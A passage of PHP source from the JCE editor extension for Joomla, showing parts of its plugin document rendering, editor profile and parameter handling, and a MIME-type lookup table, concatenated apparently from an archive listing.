        $root = Uri::root(true);

        // remove root from url
        if (!empty($root)) {
            $url = substr($url, strlen($root));
        }

        return WFUtility::makePath(JPATH_SITE, Path::clean($url));
    }

    /**
     * Returns an image url.
     *
     * @param string  The file to load including path and extension eg: libaries.image.gif
     *
     * @return Image url
     *
     * @since 1.5
     */
    public function image($image, $root = 'media')
    {
        $parts = explode('.', $image);
        $parts = preg_replace('#[^A-Z0-9-_]#i', '', $parts);

        $ext = array_pop($parts);
        $name = trim(array_pop($parts), '/');

        $parts[] = 'img';
        $parts[] = $name . '.' . $ext;

        return $this->getBaseURL($root) . implode('/', $parts);
    }

    public function removeScript($file, $root = 'media')
    {
        $file = $this->buildScriptPath($file, $root);
        unset($this->scripts[$file]);
    }

    public function removeCss($file, $root = 'media')
    {
        $file = $this->buildStylePath($file, $root);
        unset($this->styles[$file]);
    }

    public function buildScriptPath($file, $root)
    {
        $file = preg_replace('#[^A-Z0-9-_\/\.]#i', '', $file);
        // get base dir
        $base = dirname($file);
        // remove extension if present
        $file = basename($file, '.js');
        // strip . and trailing /
        $file = trim(trim($base, '.'), '/') . '/' . $file . '.js';
        // remove leading and trailing slashes
        $file = trim($file, '/');
        // create path
        $file = $this->getBaseURL($root, 'js') . '/' . $file;
        // remove duplicate slashes
        $file = preg_replace('#[/\\\\]+#', '/', $file);

        return $file;
    }

    public function buildStylePath($file, $root)
    {
        $file = preg_replace('#[^A-Z0-9-_\/\.]#i', '', $file);
        // get base dir
        $base = dirname($file);
        // remove extension if present
        $file = basename($file, '.css');
        // strip . and trailing /
        $file = trim(trim($base, '.'), '/') . '/' . $file . '.css';
        // remove leading and trailing slashes
        $file = trim($file, '/');
        // create path
        $file = $this->getBaseURL($root, 'css') . '/' . $file;
        // remove duplicate slashes
        $file = preg_replace('#[/\\\\]+#', '/', $file);

        return $file;
    }

    /**
     * Loads a javascript file.
     *
     * @param string  The file to load including path eg: libaries.manager
     * @param bool Debug mode load src file
     *
     * @return echo script html
     *
     * @since 1.5
     */
    public function addScript($files, $root = 'media', $type = 'text/javascript')
    {
        $files = (array) $files;

        foreach ($files as $file) {
            // external link
            if (strpos($file, '://') !== false || strpos($file, 'index.php?option=com_jce') !== false) {
                $this->scripts[$file] = $type;
            } else {
                $file = $this->buildScriptPath($file, $root);
                // store path
                $this->scripts[$file] = $type;
            }
        }
    }

    /**
     * Loads a css file.
     *
     * @param string The file to load including path eg: libaries.manager
     * @param string Root folder
     *
     * @return echo css html
     *
     * @since 1.5
     */
    public function addStyleSheet($files, $root = 'media', $type = 'text/css')
    {
        $files = (array) $files;

        foreach ($files as $file) {
            $url = $this->buildStylePath($file, $root);
            // store path
            $this->styles[$url] = $type;
        }
    }

    public function addScriptDeclaration($content, $type = 'text/javascript')
    {
        if (!isset($this->script[strtolower($type)])) {
            $this->script[strtolower($type)] = $content;
        } else {
            $this->script[strtolower($type)] .= chr(13) . $content;
        }
    }

    private function getScriptDeclarations()
    {
        return $this->script;
    }

    private function getScripts()
    {
        return $this->scripts;
    }

    private function getStyleSheets()
    {
        return $this->styles;
    }

    /**
     * Setup head data.
     */
    private function setHead($data)
    {
        if (is_array($data)) {
            $this->head = array_merge($this->head, $data);
        } else {
            $this->head[] = $data;
        }
    }

    public function getQueryString($query = array())
    {
        $app = Factory::getApplication();

        // get plugin name and assign to query
        $name = $this->get('name');

        // re-map plugin name
        if (array_key_exists($name, self::$queryMap)) {
            $name = self::$queryMap[$name];
        }

        $query['plugin'] = $name;

        // set slot
        $query['slot'] = $app->input->getCmd('slot');

        // set standalone mode (for File Browser etc)
        $query['standalone'] = $this->get('standalone', 0);

        // set context id
        $query['context'] = $app->input->getInt('context', 0);

        // get profile custom query variables
        $query['profile_custom'] = $app->input->get('profile_custom', array(), 'array');

        // get token
        $token = Session::getFormToken();

        // set token
        $query[$token] = 1;

        // filter out empty values from the $query array
        $query = array_filter($query, function ($value) {
            return !empty($value);
        });

       return http_build_query($query);
    }

    private function getHash($files)
    {
        $seed = '';
        $hash = '';

        // cast as array
        $files = (array) $files;

        foreach ($files as $file) {

            // only add stamp to static stylesheets
            if (strpos($file, '://') === false && strpos($file, 'index.php?option=com_jce') === false) {
                $seed .= basename($file);
            }
        }

        if ($seed) {
            $hash = md5(WF_VERSION . $seed);
        }

        return $hash;
    }

    /**
     * Render document head data.
     */
    private function getHead()
    {
        // set title
        $output = '<title>' . $this->getTitle() . '</title>' . "\n";

        // render stylesheets
        if ($this->get('compress_css', 0)) {
            $file = Uri::base(true) . '/index.php?option=com_jce&' . $this->getQueryString(array('task' => 'plugin.pack', 'type' => 'css'));
            // add hash
            $file .= '&' . $this->getHash(array_keys($this->styles));

            $output .= "\t\t<link href=\"" . $file . "\" rel=\"stylesheet\" type=\"text/css\" />\n";
        } else {
            foreach ($this->styles as $src => $type) {
                $hash = $this->getHash($src);

                // only add stamp to static stylesheets
                if (!empty($hash)) {
                    $hash = strpos($src, '?') === false ? '?' . $hash : '&' . $hash;
                }

                $output .= "\t\t<link href=\"" . $src . $hash . '" rel="stylesheet" type="' . $type . "\" />\n";
            }
        }

        // Render scripts
        if ($this->get('compress_javascript', 0)) {
            $script = Uri::base(true) . '/index.php?option=com_jce&' . $this->getQueryString(array('task' => 'plugin.pack'));
            // add hash
            $script .= '&' . $this->getHash(array_keys($this->scripts));

            $output .= "\t\t<script data-cfasync=\"false\" type=\"text/javascript\" src=\"" . $script . "\"></script>\n";
        } else {
            foreach ($this->scripts as $src => $type) {
                $hash = $this->getHash($src);

                // only add stamp to static stylesheets
                if (!empty($hash)) {
                    $hash = strpos($src, '?') === false ? '?' . $hash : '&' . $hash;
                }

                $output .= "\t\t<script data-cfasync=\"false\" type=\"" . $type . '" src="' . $src . $hash . "\"></script>\n";
            }
        }

        // Script declarations
        foreach ($this->script as $type => $content) {
            $output .= "\t\t<script data-cfasync=\"false\" type=\"" . $type . '">' . $content . '</script>';
        }

        // Other head data
        foreach ($this->head as $head) {
            $output .= "\t" . $head . "\n";
        }

        return $output;
    }

    public function setBody($data = '')
    {
        $this->body = $data;
    }

    private function getBody()
    {
        return $this->body;
    }

    private function loadData()
    {
        //get the file content
        ob_start();
        require_once WF_EDITOR_LIBRARIES . '/views/plugin/index.php';
        $data = ob_get_contents();
        ob_end_clean();

        return $data;
    }

    /**
     * Render the document.
     */
    public function render()
    {
        // assign language
        $this->language = $this->getLanguage();
        $this->direction = $this->getDirection();

        // load template data
        $output = $this->loadData();
        $output = $this->parseData($output);

        exit($output);
    }

    private function parseData($data)
    {
        $data = preg_replace_callback('#<!-- \[head\] -->#', array($this, 'getHead'), $data);
        $data = preg_replace_callback('#<!-- \[body\] -->#', array($this, 'getBody'), $data);

        return $data;
    }

    /**
     * pack function for plugins.
     */
    public function pack($minify = true, $gzip = false)
    {
        $app = Factory::getApplication();

        if ($app->input->getCmd('task') == 'pack') {

            // check token
            Session::checkToken('get') or jexit();

            $type = $app->input->getWord('type', 'javascript');

            // create packer
            $packer = new WFPacker(array('type' => $type));

            $files = array();

            switch ($type) {
                case 'javascript':
                    $data = '';

                    foreach ($this->getScripts() as $src => $type) {
                        if (strpos($src, '://') === false && strpos($src, 'index.php') === false) {
                            $src .= preg_match('/\.js$/', $src) ? '' : '.js';

                            $files[] = $this->urlToPath($src);
                        }
                    }

                    // parse ini language files
                    $parser = new WFLanguageParser(array(
                        'plugins' => array('core' => array($this->getName()), 'external' => array()),
                        'sections' => array('dlg', $this->getName() . '_dlg'),
                        'mode' => 'plugin',
                        'language' => WFLanguage::getTag(),
                    ));

                    $data .= $parser->load();

                    // add script declarations
                    /*foreach ($this->getScriptDeclarations() as $script) {
                    $data .= $script;
                    }*/

                    $packer->setContentEnd($data);

                    break;
                case 'css':
                    foreach ($this->getStyleSheets() as $style => $type) {
                        if (strpos($style, '://') === false && strpos($style, 'index.php') === false) {
                            $style .= preg_match('/\.css$/', $style) ? '' : '.css';

                            $files[] = $this->urlToPath($style);
                        }
                    }

                    break;
            }

            $packer->setFiles($files);
            $packer->pack($minify, $gzip);
        }
    }
}
com_jce/editor/libraries/classes/application.php000060400000037355152453734450016103 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Registry\Registry;

require_once JPATH_ADMINISTRATOR . '/components/com_jce/includes/base.php';

/**
 * JCE class.
 *
 * @static
 *
 * @since    1.5
 */
class WFApplication extends CMSObject
{
    // Editor instance
    protected static $instance;

    // Editor Profile
    protected static $profiles = array();

    // Editor Params
    protected static $params = array();

    // JInput Reference
    public $input;

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        $this->setProperties($config);

        // store a reference to the Joomla Application input
        $this->input = Factory::getApplication()->input;

        Factory::getApplication()->triggerEvent('onWfApplicationInit', array($this));
    }

    /**
     * Returns a reference to a editor object.
     *
     * This method must be invoked as:
     *         <pre>  $browser =JContentEditor::getInstance();</pre>
     *
     * @return JCE The editor object
     */
    public static function getInstance($config = array())
    {
        if (!isset(self::$instance)) {
            self::$instance = new self($config);
        }

        return self::$instance;
    }

    /**
     * Get the current version.
     *
     * @return string
     */
    public function getVersion()
    {
        $manifest = WF_ADMINISTRATOR . '/jce.xml';

        $version = md5_file($manifest);

        return $version;
    }

    protected function getComponent($id = null, $option = null)
    {
        if ($id) {
            $components = ComponentHelper::getComponents();

            foreach ($components as $option => $component) {
                if ($id == $component->id) {
                    return $component;
                }
            }
        }

        return ComponentHelper::getComponent($option);
    }

    public function getContext()
    {
        $option = Factory::getApplication()->input->getCmd('option');
        $component = ComponentHelper::getComponent($option, true);

        return $component->id;
    }

    private function isFileBrowser()
    {
        $app = Factory::getApplication();
        $option = $app->input->getCmd('option', '');

        if ($option !== 'com_jce') {
            return false;
        }

        if ($app->input->getCmd('view') === 'browser') {
            return true;
        }

        if ($app->input->getCmd('plugin') === 'browser') {
            return true;
        }

        return false;
    }

    private function getProfileVars()
    {
        $app = Factory::getApplication();
        $user = Factory::getUser();
        $option = $app->input->getCmd('option', '');

        $settings = array(
            'option' => $option,
            'area' => 2,
            'device' => 'desktop',
            'groups' => array(),
        );

        // find the component if this is called from within the JCE component
        if ($option == 'com_jce') {
            $context = $app->input->getInt('context');

            if ($context) {

                if ($context === 'mediafield') {
                    $settings['option'] = 'mediafield';
                } else {
                    $component = $this->getComponent($context);
                    $settings['option'] = $component->option;
                }
            }

            $profile_id = $app->input->getInt('profile_id');

            if ($profile_id) {
                $settings['profile_id'] = $profile_id;
            }
        }

        // get the Joomla! area, default to "site"
        $settings['area'] = $app->getClientId() === 0 ? 1 : 2;

        $mobile = new WFDeviceDetect();

        // phone
        if ($mobile->isPhone()) {
            $settings['device'] = 'phone';
        }

        if ($mobile->isTablet()) {
            $settings['device'] = 'tablet';
        }

        $settings['groups'] = $user->getAuthorisedGroups();

        return $settings;
    }

    private function isCorePlugin($plugin)
    {
        return in_array($plugin, array('core', 'autolink', 'cleanup', 'code', 'format', 'importcss', 'colorpicker', 'upload', 'branding', 'inlinepopups', 'figure', 'ui', 'help'));
    }

    public function isValidPlugin($name)
    {
        $plugins = JcePluginsHelper::getPlugins();

        // installed plugins will have a name prefixed with "editor-", so remove to validate
        if (preg_match('/^editor[-_]/', $name)) {
            $name = preg_replace('/^editor[-_]/', '', $name);
        }

        if (!isset($plugins[$name])) {
            return false;
        }

        $plugin = $plugins[$name];

        if (isset($plugin->checksum) && strlen($plugin->checksum) == 64) {
            $path = $plugin->path . '/' . $plugin->name . '.php';

            if (!is_file($path)) {
                return false;
            }

            return $plugin->checksum === hash_file('sha256', $path);
        }

        return true;
    }

    public function checkProfile($plugin)
    {
        $profile = $this->getActiveProfile(array('plugin' => $plugin));
        return $profile ? true : false;
    }
    /**
     * Return the active profile based on certain conditions.
     *
     * @param array $options An array of options to pass to the getProfile method
     * @return object The active profile
     */
    public function getActiveProfile($options = array())
    {
        // in future this might return an array of profiles by key
        $profiles = $this->getProfiles($options);

        return $profiles;
    }

    /**
     * Legacy getProfile function for backwards compatibility.
     *
     * @param array $options
     * @return void
     */
    public function getProfile($options = array())
    {
        if (is_string($options)) {
            $options = array('plugin' => $options);
        }

        return $this->getActiveProfile($options);
    }

    /**
     * Get an array of editor profiles.
     *
     * @param array $options Array of options to pass to the getProfile method
     * @return array Array of editor profiles by key, with "default" being the default profile
     */
    protected function getProfiles($options = array())
    {
        static $cache = array();

        if (!isset($options['plugin'])) {
            $options['plugin'] = '';
        }

        if (!isset($options['id'])) {
            $options['id'] = 0;
        }

        // get the passed in options as variables
        extract ($options);
        
        // reset the value if it is a core plugin
        if ($this->isCorePlugin($plugin)) {
            $plugin = '';
        }

        // get the profile variables for the current context
        $vars = $this->getProfileVars();

        // installed plugins will have a name prefixed with "editor-", so remove to validate
        if (preg_match('/^editor[-_]/', $plugin)) {
            $plugin = preg_replace('/^editor[-_]/', '', $plugin);
        }

        // add plugin to vars array
        $vars['plugin'] = $plugin;

        // assign profile_id to simple variable
        if (isset($vars['profile_id'])) {
            $id = (int) $vars['profile_id'];
        }

        $db = Factory::getDBO();
        $user = Factory::getUser();
        $app = Factory::getApplication();

        $query = $db->getQuery(true);
        $query->select('*')->from('#__wf_profiles')->where('published = 1')->order('ordering ASC');

        if ($id) {
            $query->where('id = ' . (int) $id);
        }

        $db->setQuery($query);
        $items = $db->loadObjectList();

        // nothing found...
        if (empty($items)) {
            return null;
        }

        // select and return a specific profile by id
        if ($id) {
            return $items[0];
        }

        $app->triggerEvent('onWfEditorProfileOptions', array(&$vars));

        // create a unique signature to store
        $signature = md5(serialize($vars));

        if (!isset($cache[$signature])) {

            foreach ($items as $item) {
                // at least one user group or user must be set
                if (empty($item->types) && empty($item->users)) {
                    continue;
                }

                $app->triggerEvent('onWfBeforeEditorProfileItem', array(&$item));

                // event can "cancel" this profile item
                if ($item === false) {
                    continue;
                }

                // check user groups - a value should always be set
                $groups = array_intersect($vars['groups'], explode(',', $item->types));

                // user not in the current group...
                if (empty($groups)) {
                    // no additional users set or no user match
                    if (empty($item->users) || in_array($user->id, explode(',', $item->users)) === false) {
                        continue;
                    }
                }

                // check component, but skip if this is the file browser
                if (!empty($item->components)) {
                    $components = explode(',', $item->components);

                    // remove duplicates
                    $components = array_unique($components);

                    if (in_array($vars['option'], $components) === false) {
                        continue;
                    }
                }

                // set device default as 'desktop,tablet,mobile'
                if (empty($item->device)) {
                    $item->device = 'desktop,tablet,phone';
                }

                // check device
                if (in_array($vars['device'], explode(',', $item->device)) === false) {
                    continue;
                }

                // check area
                if (!empty($item->area) && (int) $item->area != $vars['area']) {
                    continue;
                }

                // check against passed in plugin value
                if ($plugin && in_array($plugin, explode(',', $item->plugins)) === false) {
                    continue;
                }

                // decrypt params
                if (!empty($item->params)) {
                    $item->params = JceEncryptHelper::decrypt($item->params);
                }

                $app->triggerEvent('onWfAfterEditorProfileItem', array(&$item));

                // event can "cancel" this profile item
                if ($item === false) {
                    continue;
                }

                // assign item to profile
                $cache[$signature] = (object) $item;

                // return
                return $cache[$signature];
            }

            return null;
        }

        return $cache[$signature];
    }

    /**
     * Get editor parameters.
     *
     * @param array $options
     *
     * @return object
     */
    public function getParams($options = array())
    {
        $app = Factory::getApplication();

        if (!isset(self::$params)) {
            self::$params = array();
        }

        // set blank key if not set
        if (!isset($options['key'])) {
            $options['key'] = '';
        }
        // set blank path if not set
        if (!isset($options['path'])) {
            $options['path'] = '';
        }

        // get plugin name
        $plugin = $app->input->getCmd('plugin', '');

        // reset the plugin value if this is not called from within the JCE component
        if ($app->input->getCmd('option') !== 'com_jce') {
            $plugin = '';
        }

        if ($plugin) {
            // optional caller, eg: Link
            $caller = '';

            // get name and caller from plugin name
            if (strpos($plugin, '.') !== false) {
                list($plugin, $caller) = explode('.', $plugin);

                if ($caller) {
                    $options['caller'] = $caller;
                }
            }

            $options['plugin'] = $plugin;
        }

        $signature = serialize($options);

        if (empty(self::$params[$signature])) {
            // get plugin
            $editor = PluginHelper::getPlugin('editors', 'jce');

            if (empty($editor->params)) {
                $editor->params = '{}';
            }

            // get editor params as an associative array
            $data1 = json_decode($editor->params, true);

            // if null or false, revert to array
            if (empty($data1)) {
                $data1 = array();
            }

            // assign params to "editor" key
            $data1 = array('editor' => $data1);

            // get params data for the active profile
            $profile = $this->getActiveProfile(array('plugin' => $plugin));

            // create empty default if no profile or params are set
            $params = empty($profile->params) ? '{}' : $profile->params;

            // get profile params as an associative array
            $data2 = json_decode($params, true);

            // if null or false, revert to array
            if (empty($data2)) {
                $data2 = array();
            }

            // merge params, but ignore empty values
            $data = WFUtility::array_merge_recursive_distinct($data1, $data2, true);

            // create new registry with params
            $params = new Registry($data);

            self::$params[$signature] = $params;
        }

        return self::$params[$signature];
    }

    private function isEmptyValue($value)
    {
        if (is_null($value)) {
            return true;
        }

        if (is_array($value)) {
            return empty($value);
        }

        return false;
    }

    /**
     * Get a parameter by key.
     *
     * @param $key Parameter key eg: editor.width
     * @param $fallback Fallback value
     * @param $default Default value
     */
    public function getParam($key, $fallback = '', $default = '', $type = 'string')
    {
        // get params for base key
        $params = $this->getParams();

        // get a parameter
        $value = $params->get($key);

        // key not present in params or was empty string or empty array (JRegistry returns null), use fallback value
        if (self::isEmptyValue($value)) {
            // set default as empty string
            $value = '';

            // key does not exist (parameter was not set) - use fallback
            if ($params->exists($key) === false) {
                $value = $fallback;

                // if fallback is empty, revert to system default if it is non-empty
                if ($fallback == '' && $default != '') {
                    $value = $default;

                    // reset $default to prevent clearing
                    $default = '';
                }
                // parameter is set, but is empty, but fallback is not (inherited values)
            } else if ($fallback != '') {
                $value = $fallback;
            }
        }

        // clean string value of whitespace
        if (is_string($value)) {
            $value = trim(preg_replace('#[\n\r\t]+#', '', $value));
        }

        // cast default to float if numeric
        if (is_numeric($default)) {
            $default = (float) $default;
        }

        // cast value to float if numeric
        if (is_numeric($value)) {
            $value = (float) $value;
        }

        // if value is equal to system default, clear $value and return
        if ($value === $default) {
            return '';
        }

        // cast value to boolean
        if ($type == 'boolean') {
            $value = (bool) $value;
        }

        return $value;
    }
}
com_jce/editor/libraries/classes/mime.php000060400000102332152453734450014513 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
abstract class WFMimeType
{
    /*
     * @var Array Mimetype values by extension
     * From mimetype list maintained at http://svn.apache.org/viewvc/httpd/httpd/trunk/docs/conf/mime.types
     */

    private static $mimes = array(
        'application/andrew-inset' => 'ez',
        'application/applixware' => 'aw',
        'application/atom+xml' => 'atom',
        'application/atomcat+xml' => 'atomcat',
        'application/atomsvc+xml' => 'atomsvc',
        'application/ccxml+xml' => 'ccxml',
        'application/cu-seeme' => 'cu',
        'application/davmount+xml' => 'davmount',
        'application/dssc+der' => 'dssc',
        'application/dssc+xml' => 'xdssc',
        'application/ecmascript' => 'ecma',
        'application/emma+xml' => 'emma',
        'application/epub+zip' => 'epub',
        'application/font-tdpfr' => 'pfr',
        'application/hyperstudio' => 'stk',
        'application/ipfix' => 'ipfix',
        'application/java-archive' => 'jar',
        'application/java-serialized-object' => 'ser',
        'application/java-vm' => 'class',
        'application/javascript' => 'js',
        'application/json' => 'json',
        'application/lost+xml' => 'lostxml',
        'application/mac-binhex40' => 'hqx',
        'application/mac-compactpro' => 'cpt',
        'application/marc' => 'mrc',
        'application/mathematica' => 'ma nb mb',
        'application/mathml+xml' => 'mathml',
        'application/mbox' => 'mbox',
        'application/mediaservercontrol+xml' => 'mscml',
        'application/mp4' => 'mp4s',
        'application/msword' => 'doc dot ppt xls xlsm dotx docx pptx xlsx ppsx sldx potx xltx',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.template' => 'dotx',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 'docx',
        'application/vnd.openxmlformats-officedocument.presentationml.presentation' => 'pptx',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => 'xlsx',
        'application/vnd.openxmlformats-officedocument.presentationml.slideshow' => 'ppsx',
        'application/vnd.openxmlformats-officedocument.presentationml.slide' => 'sldx',
        'application/vnd.openxmlformats-officedocument.presentationml.template' => 'potx',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.template' => 'xltx',
        'application/mxf' => 'mxf',
        'application/octet-stream' => 'bin dms lha lrf lzh so iso dmg dist distz pkg bpk dump elc deploy',
        'application/oda' => 'oda',
        'application/oebps-package+xml' => 'opf',
        'application/ogg' => 'ogx ogg ogv oga',
        'application/onenote' => 'onetoc onetoc2 onetmp onepkg',
        'application/patch-ops-error+xml' => 'xer',
        'application/pdf' => 'pdf',
        'application/pgp-encrypted' => 'pgp',
        'application/pgp-signature' => 'asc sig',
        'application/pics-rules' => 'prf',
        'application/pkcs10' => 'p10',
        'application/pkcs7-mime' => 'p7m p7c',
        'application/pkcs7-signature' => 'p7s',
        'application/pkix-cert' => 'cer',
        'application/pkix-crl' => 'crl',
        'application/pkix-pkipath' => 'pkipath',
        'application/pkixcmp' => 'pki',
        'application/pls+xml' => 'pls',
        'application/postscript' => 'ai eps ps',
        'application/prs.cww' => 'cww',
        'application/rdf+xml' => 'rdf',
        'application/reginfo+xml' => 'rif',
        'application/relax-ng-compact-syntax' => 'rnc',
        'application/resource-lists+xml' => 'rl',
        'application/resource-lists-diff+xml' => 'rld',
        'application/rls-services+xml' => 'rs',
        'application/rsd+xml' => 'rsd',
        'application/rss+xml' => 'rss',
        'application/rtf' => 'rtf',
        'application/sbml+xml' => 'sbml',
        'application/scvp-cv-request' => 'scq',
        'application/scvp-cv-response' => 'scs',
        'application/scvp-vp-request' => 'spq',
        'application/scvp-vp-response' => 'spp',
        'application/sdp' => 'sdp',
        'application/set-payment-initiation' => 'setpay',
        'application/set-registration-initiation' => 'setreg',
        'application/shf+xml' => 'shf',
        'application/smil+xml' => 'smi smil',
        'application/sparql-query' => 'rq',
        'application/sparql-results+xml' => 'srx',
        'application/srgs' => 'gram',
        'application/srgs+xml' => 'grxml',
        'application/ssml+xml' => 'ssml',
        'application/vnd.3gpp.pic-bw-large' => 'plb',
        'application/vnd.3gpp.pic-bw-small' => 'psb',
        'application/vnd.3gpp.pic-bw-var' => 'pvb',
        'application/vnd.3gpp2.tcap' => 'tcap',
        'application/vnd.3m.post-it-notes' => 'pwn',
        'application/vnd.accpac.simply.aso' => 'aso',
        'application/vnd.accpac.simply.imp' => 'imp',
        'application/vnd.acucobol' => 'acu',
        'application/vnd.acucorp' => 'atc acutc',
        'application/vnd.adobe.air-application-installer-package+zip' => 'air',
        'application/vnd.adobe.xdp+xml' => 'xdp',
        'application/vnd.adobe.xfdf' => 'xfdf',
        'application/vnd.airzip.filesecure.azf' => 'azf',
        'application/vnd.airzip.filesecure.azs' => 'azs',
        'application/vnd.amazon.ebook' => 'azw',
        'application/vnd.americandynamics.acc' => 'acc',
        'application/vnd.amiga.ami' => 'ami',
        'application/vnd.android.package-archive' => 'apk',
        'application/vnd.anser-web-certificate-issue-initiation' => 'cii',
        'application/vnd.anser-web-funds-transfer-initiation' => 'fti',
        'application/vnd.antix.game-component' => 'atx',
        'application/vnd.apple.installer+xml' => 'mpkg',
        'application/vnd.apple.mpegurl' => 'm3u8',
        'application/vnd.aristanetworks.swi' => 'swi',
        'application/vnd.audiograph' => 'aep',
        'application/vnd.blueice.multipass' => 'mpm',
        'application/vnd.bmi' => 'bmi',
        'application/vnd.businessobjects' => 'rep',
        'application/vnd.chemdraw+xml' => 'cdxml',
        'application/vnd.chipnuts.karaoke-mmd' => 'mmd',
        'application/vnd.cinderella' => 'cdy',
        'application/vnd.claymore' => 'cla',
        'application/vnd.cloanto.rp9' => 'rp9',
        'application/vnd.clonk.c4group' => 'c4g c4d c4f c4p c4u',
        'application/vnd.commonspace' => 'csp',
        'application/vnd.contact.cmsg' => 'cdbcmsg',
        'application/vnd.cosmocaller' => 'cmc',
        'application/vnd.crick.clicker' => 'clkx',
        'application/vnd.crick.clicker.keyboard' => 'clkk',
        'application/vnd.crick.clicker.palette' => 'clkp',
        'application/vnd.crick.clicker.template' => 'clkt',
        'application/vnd.crick.clicker.wordbank' => 'clkw',
        'application/vnd.criticaltools.wbs+xml' => 'wbs',
        'application/vnd.ctc-posml' => 'pml',
        'application/vnd.cups-ppd' => 'ppd',
        'application/vnd.curl.car' => 'car',
        'application/vnd.curl.pcurl' => 'pcurl',
        'application/vnd.data-vision.rdz' => 'rdz',
        'application/vnd.denovo.fcselayout-link' => 'fe_launch',
        'application/vnd.dna' => 'dna',
        'application/vnd.dolby.mlp' => 'mlp',
        'application/vnd.dpgraph' => 'dpg',
        'application/vnd.dreamfactory' => 'dfac',
        'application/vnd.dynageo' => 'geo',
        'application/vnd.ecowin.chart' => 'mag',
        'application/vnd.enliven' => 'nml',
        'application/vnd.epson.esf' => 'esf',
        'application/vnd.epson.msf' => 'msf',
        'application/vnd.epson.quickanime' => 'qam',
        'application/vnd.epson.salt' => 'slt',
        'application/vnd.epson.ssf' => 'ssf',
        'application/vnd.eszigno3+xml' => 'es3 et3',
        'application/vnd.ezpix-album' => 'ez2',
        'application/vnd.ezpix-package' => 'ez3',
        'application/vnd.fdf' => 'fdf',
        'application/vnd.fdsn.mseed' => 'mseed',
        'application/vnd.fdsn.seed' => 'seed dataless',
        'application/vnd.flographit' => 'gph',
        'application/vnd.fluxtime.clip' => 'ftc',
        'application/vnd.framemaker' => 'fm frame maker book',
        'application/vnd.frogans.fnc' => 'fnc',
        'application/vnd.frogans.ltf' => 'ltf',
        'application/vnd.fsc.weblaunch' => 'fsc',
        'application/vnd.fujitsu.oasys' => 'oas',
        'application/vnd.fujitsu.oasys2' => 'oa2',
        'application/vnd.fujitsu.oasys3' => 'oa3',
        'application/vnd.fujitsu.oasysgp' => 'fg5',
        'application/vnd.fujitsu.oasysprs' => 'bh2',
        'application/vnd.fujixerox.ddd' => 'ddd',
        'application/vnd.fujixerox.docuworks' => 'xdw',
        'application/vnd.fujixerox.docuworks.binder' => 'xbd',
        'application/vnd.fuzzysheet' => 'fzs',
        'application/vnd.genomatix.tuxedo' => 'txd',
        'application/vnd.geogebra.file' => 'ggb',
        'application/vnd.geogebra.tool' => 'ggt',
        'application/vnd.geometry-explorer' => 'gex gre',
        'application/vnd.geonext' => 'gxt',
        'application/vnd.geoplan' => 'g2w',
        'application/vnd.geospace' => 'g3w',
        'application/vnd.gmx' => 'gmx',
        'application/vnd.google-earth.kml+xml' => 'kml',
        'application/vnd.google-earth.kmz' => 'kmz',
        'application/vnd.grafeq' => 'gqf gqs',
        'application/vnd.groove-account' => 'gac',
        'application/vnd.groove-help' => 'ghf',
        'application/vnd.groove-identity-message' => 'gim',
        'application/vnd.groove-injector' => 'grv',
        'application/vnd.groove-tool-message' => 'gtm',
        'application/vnd.groove-tool-template' => 'tpl',
        'application/vnd.groove-vcard' => 'vcg',
        'application/vnd.handheld-entertainment+xml' => 'zmm',
        'application/vnd.hbci' => 'hbci',
        'application/vnd.hhe.lesson-player' => 'les',
        'application/vnd.hp-hpgl' => 'hpgl',
        'application/vnd.hp-hpid' => 'hpid',
        'application/vnd.hp-hps' => 'hps',
        'application/vnd.hp-jlyt' => 'jlt',
        'application/vnd.hp-pcl' => 'pcl',
        'application/vnd.hp-pclxl' => 'pclxl',
        'application/vnd.hydrostatix.sof-data' => 'sfd-hdstx',
        'application/vnd.hzn-3d-crossword' => 'x3d',
        'application/vnd.ibm.minipay' => 'mpy',
        'application/vnd.ibm.modcap' => 'afp listafp list3820',
        'application/vnd.ibm.rights-management' => 'irm',
        'application/vnd.ibm.secure-container' => 'sc',
        'application/vnd.iccprofile' => 'icc icm',
        'application/vnd.igloader' => 'igl',
        'application/vnd.immervision-ivp' => 'ivp',
        'application/vnd.immervision-ivu' => 'ivu',
        'application/vnd.intercon.formnet' => 'xpw xpx',
        'application/vnd.intu.qbo' => 'qbo',
        'application/vnd.intu.qfx' => 'qfx',
        'application/vnd.ipunplugged.rcprofile' => 'rcprofile',
        'application/vnd.irepository.package+xml' => 'irp',
        'application/vnd.is-xpr' => 'xpr',
        'application/vnd.jam' => 'jam',
        'application/vnd.jcp.javame.midlet-rms' => 'rms',
        'application/vnd.jisp' => 'jisp',
        'application/vnd.joost.joda-archive' => 'joda',
        'application/vnd.kahootz' => 'ktz ktr',
        'application/vnd.kde.karbon' => 'karbon',
        'application/vnd.kde.kchart' => 'chrt',
        'application/vnd.kde.kformula' => 'kfo',
        'application/vnd.kde.kivio' => 'flw',
        'application/vnd.kde.kontour' => 'kon',
        'application/vnd.kde.kpresenter' => 'kpr kpt',
        'application/vnd.kde.kspread' => 'ksp',
        'application/vnd.kde.kword' => 'kwd kwt',
        'application/vnd.kenameaapp' => 'htke',
        'application/vnd.kidspiration' => 'kia',
        'application/vnd.kinar' => 'kne knp',
        'application/vnd.koan' => 'skp skd skt skm',
        'application/vnd.kodak-descriptor' => 'sse',
        'application/vnd.llamagraphics.life-balance.desktop' => 'lbd',
        'application/vnd.llamagraphics.life-balance.exchange+xml' => 'lbe',
        'application/vnd.lotus-1-2-3' => '123',
        'application/vnd.lotus-approach' => 'apr',
        'application/vnd.lotus-freelance' => 'pre',
